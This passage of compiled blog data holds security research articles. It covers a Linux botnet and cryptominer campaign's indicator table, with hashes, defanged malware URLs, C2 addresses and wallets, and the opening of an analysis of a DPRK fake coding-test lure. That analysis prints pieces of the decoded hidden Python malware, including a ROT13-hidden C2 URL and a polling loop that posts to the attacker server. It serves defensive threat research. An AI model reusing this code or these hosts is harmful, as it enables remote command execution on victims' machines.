0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l64_v1\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x64 version 1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l64_v2\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x64 version 2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l64_v3\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x64 version 3\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l86_v0\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x86 version 0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l86_v1\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x86 version 1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l86_v2\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x86 version 2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l86_v3\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x86 version 3\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"hjvhg.exe\"}),(0,n.jsx)(e.td,{children:\"Miner\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"mvhhvcp3.exe\"}),(0,n.jsx)(e.td,{children:\"DONUT LOADER\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"vdfgb.exe\"}),(0,n.jsx)(e.td,{children:\"Miner\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://gcp.pagaelrescate%5B.%5Dcom:8080/ifindyou\",rel:\"nofollow\",children:\"http://gcp.pagaelrescate[.]com:8080/ifindyou\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"ifindyou.sh\"}),(0,n.jsx)(e.td,{children:\"Stage 1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://gcp.pagaelrescate%5B.%5Dcom:8080/cycnet\",rel:\"nofollow\",children:\"http://gcp.pagaelrescate[.]com:8080/cycnet\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"cycnet.sh\"}),(0,n.jsx)(e.td,{children:\"Stage 2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://gcp.pagaelrescate%5B.%5Dcom:8080/testslot/enviador_slot\",rel:\"nofollow\",children:\"http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"Enviador_slot.py\"}),(0,n.jsx)(e.td,{children:\"Stage 3\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://gcp.pagaelrescate%5B.%5Dcom:8080/t9r/SystemdXC\",rel:\"nofollow\",children:\"http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"SystemdXC\"}),(0,n.jsx)(e.td,{children:\"XMRIG\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://38.54.125%5B.%5D192:8080/nginx-rc\",rel:\"nofollow\",children:\"http://38.54.125[.]192:8080/nginx-rc\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"nginx-rc\"}),(0,n.jsx)(e.td,{children:\"LIGOLO-NG\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://62.72.22%5B.%5D91/apache2\",rel:\"nofollow\",children:\"http://62.72.22[.]91/apache2\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"apache2\"}),(0,n.jsx)(e.td,{children:\"Custom Malware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://62.72.22%5B.%5D91/apache2v86\",rel:\"nofollow\",children:\"http://62.72.22[.]91/apache2v86\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"apache2v86\"}),(0,n.jsx)(e.td,{children:\"Custom Malware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://91.92.241%5B.%5D103:8002/gk.php\",rel:\"nofollow\",children:\"http://91.92.241[.]103:8002/gk.php\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"gk.php\"}),(0,n.jsx)(e.td,{children:\"PHP Backdoor\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"http://hfs.t1linux%5B.%5Dcom:7845/scdsshfk\",rel:\"nofollow\",children:\"http://hfs.t1linux[.]com:7845/scdsshfk\"})}),(0,n.jsx)(e.td,{children:\"url\"}),(0,n.jsx)(e.td,{children:\"scdsshfk\"}),(0,n.jsx)(e.td,{children:\"XMRIG\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"gcp.pagaelrescate[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"REF Hosting domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"nishabii[.]xyz\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"3.147.53[.]183\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Python Reverse Shell C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"38.54.125[.]192\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"C2 Server\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"107.178.101[.]245\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Malware File Server (Rejetto)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"62.72.22[.]91\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Server Hosting Malware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"91.92.241[.]103\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"C2 Server\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"61.160.194[.]160\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Server Hosting Malware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL\"}),(0,n.jsx)(e.td,{children:\"XMR Wallet\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER mining wallet\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc\"}),(0,n.jsx)(e.td,{children:\"XMR Wallet\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER mining wallet\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz\"}),(0,n.jsx)(e.td,{children:\"BTC Wallet\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"XMRIG mining wallet\"})]})]})]})}),`\n`,(0,n.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html\",rel:\"nofollow\",children:\"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/\",rel:\"nofollow\",children:\"https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities\",rel:\"nofollow\",children:\"https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/\",rel:\"nofollow\",children:\"https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/hackerschoice/gsocket\",rel:\"nofollow\",children:\"https://github.com/hackerschoice/gsocket\"})}),`\n`]})]})}function S(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(l,t)})):l(t)}var k=S;return y(T);})();\n;return Component;"},"_id":"articles/betting-on-bots.mdx","_raw":{"sourceFilePath":"articles/betting-on-bots.mdx","sourceFileName":"betting-on-bots.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/betting-on-bots"},"type":"Article","imageUrl":"/assets/images/betting-on-bots/betting-on-bots.jpg","readingTime":"80 min read","series":"","url":"/betting-on-bots","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Execution flow","href":"#execution-flow"},{"level":3,"title":"Initial access","href":"#initial-access"},{"level":3,"title":"Fileserver","href":"#fileserver"},{"level":3,"title":"RUDEDEVIL/LUCIFER","href":"#rudedevillucifer"},{"level":3,"title":"Thread Management in the Malware","href":"#thread-management-in-the-malware"},{"level":4,"title":"Understanding the KillPid Function","href":"#understanding-the-killpid-function"},{"level":4,"title":"Understanding the Get_Net_Messages Function","href":"#understanding-the-get_net_messages-function"},{"level":4,"title":"Understanding the Get_Cpu_Message Function","href":"#understanding-the-get_cpu_message-function"},{"level":4,"title":"Understanding the Send_Host_Message Function","href":"#understanding-the-send_host_message-function"},{"level":3,"title":"Connecting to the Command-and-Control (C2) Server","href":"#connecting-to-the-command-and-control-c2-server"},{"level":4,"title":"Understanding the ConnectServer Function","href":"#understanding-the-connectserver-function"},{"level":4,"title":"Command-and-Control (C2) Commands","href":"#command-and-control-c2-commands"},{"level":3,"title":"Variants of RUDEDEVIL Malware and XMRIG Configuration","href":"#variants-of-rudedevil-malware-and-xmrig-configuration"},{"level":2,"title":"GSOCKET","href":"#gsocket"},{"level":3,"title":"Post compromise dwell time","href":"#post-compromise-dwell-time"},{"level":3,"title":"KAIJI malware: a comparison to previous samples","href":"#kaiji-malware-a-comparison-to-previous-samples"},{"level":2,"title":"The saga continues","href":"#the-saga-continues"},{"level":3,"title":"Custom built binaries","href":"#custom-built-binaries"},{"level":3,"title":"Additional reconnaissance ","href":"#additional-reconnaissance-"},{"level":3,"title":"Mining activities","href":"#mining-activities"},{"level":4,"title":"Understanding the `obteneruid` Function","href":"#understanding-the-obteneruid-function"},{"level":4,"title":"Understanding the `enviardatos` Function","href":"#understanding-the-enviardatos-function"},{"level":4,"title":"Understanding the `hacerjugada` Function","href":"#understanding-the-hacerjugada-function"},{"level":4,"title":"Understanding the `completarbono` Function","href":"#understanding-the-completarbono-function"},{"level":4,"title":"Likely Used for Testing Purposes","href":"#likely-used-for-testing-purposes"},{"level":2,"title":"REF6138 through MITRE ATT\u0026CK","href":"#ref6138-through-mitre-attck"},{"level":2,"title":"**Detecting REF6138**","href":"#detecting-ref6138"},{"level":3,"title":"Detection","href":"#detection"},{"level":3,"title":"Prevention","href":"#prevention"},{"level":3,"title":"Hunting queries in Elastic","href":"#hunting-queries-in-elastic"},{"level":4,"title":"EQL queries","href":"#eql-queries"},{"level":4,"title":"YARA","href":"#yara"},{"level":3,"title":"Defensive recommendations","href":"#defensive-recommendations"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Remco Sprooten","slug":"remco-sprooten","description":"Elastic Security Labs Team Senior Research Engineer","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!l.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=p(e,o))||a.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var m=_((D,i)=\u003e{i.exports=_jsx_runtime});var y={};d(y,{default:()=\u003eh,frontmatter:()=\u003eS});var r=j(m()),S={title:\"Remco Sprooten\",description:\"Elastic Security Labs Team Senior Research Engineer\",slug:\"remco-sprooten\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function b(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=b;return M(y);})();\n;return Component;"},"_id":"authors/remco-sprooten.mdx","_raw":{"sourceFilePath":"authors/remco-sprooten.mdx","sourceFileName":"remco-sprooten.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/remco-sprooten"},"type":"Author","imageUrl":"","url":"/authors/remco-sprooten"},{"title":"Ruben Groenewoud","slug":"ruben-groenewoud","description":"Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},a=(e,t,n,u)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let o of g(t))!l.call(e,o)\u0026\u0026o!==n\u0026\u0026s(e,o,{get:()=\u003et[o],enumerable:!(u=d(t,o))||u.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(f(e)):{},a(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),b=e=\u003ea(s({},\"__esModule\",{value:!0}),e);var i=_((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003eh,frontmatter:()=\u003ew});var r=p(i()),w={title:\"Ruben Groenewoud\",description:\"Security Research Engineer, Elastic\",slug:\"ruben-groenewoud\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var h=M;return b(y);})();\n;return Component;"},"_id":"authors/ruben-groenewoud.mdx","_raw":{"sourceFilePath":"authors/ruben-groenewoud.mdx","sourceFileName":"ruben-groenewoud.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/ruben-groenewoud"},"type":"Author","imageUrl":"","url":"/authors/ruben-groenewoud"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"},{"title":"Attack pattern","slug":"attack-pattern","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,c)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of p(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(c=f(n,a))||c.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},s(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var i=j((b,u)=\u003e{u.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(i()),k={title:\"Attack pattern\",slug:\"attack-pattern\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/attack-pattern.mdx","_raw":{"sourceFilePath":"categories/attack-pattern.mdx","sourceFileName":"attack-pattern.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/attack-pattern"},"type":"Category","url":"/categories/attack-pattern"}]},{"title":"Code of Conduct: DPRK’s Python-fueled intrusions into secured networks","slug":"dprk-code-of-conduct","date":"2024-09-18","description":"Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.","image":"dprk-code-of-conduct.jpg","tags":["python","dprk"],"body":{"raw":"\n## Preamble\n\nFew threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.\n\nThis versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.\n\nThis publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on [research published](https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages) by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.\n\n## Key takeaways\n\n* The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.\n* The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.\n* These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.\n* The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files\n\n## RookeryCapital_PythonTest.zip \n\nThis sample is distributed under the guise of a Python coding challenge for a “Capital One” job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.\n\nUsing encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.\n\nWe'll analyze this Python application line by line, uncovering how it:\n\n* Establishes a connection to a malicious server\n* Executes hidden commands via remote code execution (RCE)\n* Uses common obfuscation techniques to fly under the radar\n* Embeds persistent retry mechanisms to ensure successful communication\n\n![DPRK Python initial access execution flow](/assets/images/dprk-code-of-conduct/image5.png \"DPRK Python initial access execution flow\")\n\n### PasswordManager.py\n\nThis “Python Challenge” is provided via a `.zip` file containing a Python application called “PasswordManager”. This application primarily consists of a main script, `PasswordManager.py`, and two Python modules, `Pyperclip` and `Pyrebase`. \n\n![PasswordManager Application Contents](/assets/images/dprk-code-of-conduct/image1.png \"PasswordManager Application Contents\")\n\nExamining the `README.md` file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:\n\n![Excerpt from “PasswordManager” application README file](/assets/images/dprk-code-of-conduct/image4.png \"Excerpt from “PasswordManager” application README file\")\n\nThis was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.\n\nThe main `PasswordManager.py` file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (`Pyperclip` and `Pyrebase`) into this main script. \n\n#### Pyperclip module\n\nThe `Pyperclip` module has two files, `__init__.py` and `__main__.py`.\n\n![Pyperclip module files ](/assets/images/dprk-code-of-conduct/image2.png \"Pyperclip module files \")\n\nIn Python, modules often consist of multiple files, with two important ones being `__init__.py` and `__main__.py`. The `__init__.py` file initializes a Python package, allowing it to function when imported, while the `__main__.py` file allows the module to be run as a standalone program. \n\n##### __init__.py\n\n`__init__.py` is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., `pbcopy` for macOS, `xclip` for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5). \n\nThe imports reveal potentially interesting or suspicious functionality from libraries such as `base64`, `codecs`, `subprocess`, and `tempfile`. The `base64` module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with `codecs`, another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.\n\nThe presence of the `subprocess` module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.\n\nThe inclusion of the `tempfile module` is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.\n\n```\nimport contextlib\nimport ctypes\nimport os\nimport platform\nimport subprocess\nimport sys\nimport time\nimport warnings\nimport requests\nimport datetime\nimport platform\nimport codecs\nimport base64\nimport tempfile\nimport subprocess\nimport os\n```\n\n**__init__.py imports**\n\nAnalyzing the script a large base64 encoded blob assigned to the variable `req_self` quickly stands out. \n\n```\nreq_self = \"aW1wb3J0IHN0….Y29udGludWUNCg==\"\n```\n\nDecoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code. \n\n##### Obfuscated Python Script\n\nThe script imports several standard libraries (e.g., `requests`, `random`, `platform`), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.\n\n```\nimport string\nimport random\nimport requests\nimport platform\nfrom time import sleep\nimport base64\nimport os\nimport codecs\n```\n\n**Encoded Python script imports**\n\nThe script contains two functions named `co` and `rand_n`. \n\nThe `co` function operates as a helper function. This function checks the current operating system (`osn`). It uses the `codecs.decode` function with ROT13 encoding to decode the string `Jvaqbjf`, which results in `Windows`. If the operating system is Windows, it returns `0`; otherwise, it returns `1`.\n\n```\ndef co(osn):\n if osn == codecs.decode('Jvaqbjf', 'rot13'):\n return 0\n else:\n return 1\n```\n\n**`co` function within encoded Python script**\n\nDecoding ROT13 can easily be done on the macOS or Linux CLI or with the [ROT13 CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)\u0026input=SnZhcWJqZg\u0026oeol=CRLF).\n\n```\n$ echo \"Jvaqbjf\" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'\nWindows\n```\n\nThe `rand_n` function generates an 8-digit pseudorandom number from the string `123456789`. This is likely used as an identifier (`uid`) in further communication with the remote server.\n\n```\ndef rand_n():\n _LENGTH = 8\n str_pool = \"123456789\"\n result = \"\"\n for i in range(_LENGTH):\n result += random.choice(str_pool)\n return result\n```\n\n**`rand_n` function within encoded Python script**\n\nFollowing the function declarations, the script defines a set of variables with hardcoded values it will use.\n\n```\nuid = rand_n()\nf_run = \"\"\noi = platform.system()\nurl = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')\nheaders = {\"Content-Type\": \"application/json; charset=utf-8\"}\ndata = codecs.decode('Nznmba.pbz', 'rot13') + uid + \"pfrr\" + str(co(oi))\n```\n\n**Encoded Python script variables**\n\n* `uid`: Random identifier generated using `rand_n()`\n* `oi`: The operating system platform\n* `url`: After decoding using ROT13, this resolves to a URL for a malicious server ([https://akamaitechnologies[.]online](https://akamaitechnologies[.]online)). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.\n* `data`: This is the data payload being sent to the server. It includes a decoded string (`Amazon[.]com`), the random uid, and the result of `co(oi)` which checks if the OS is Windows.\n\nThe last part of the script is the main while loop. \n\n```\nwhile True:\n try:\n response = requests.post(url, headers=headers, data=data)\n if response.status_code != 200:\n sleep(60)\n continue\n 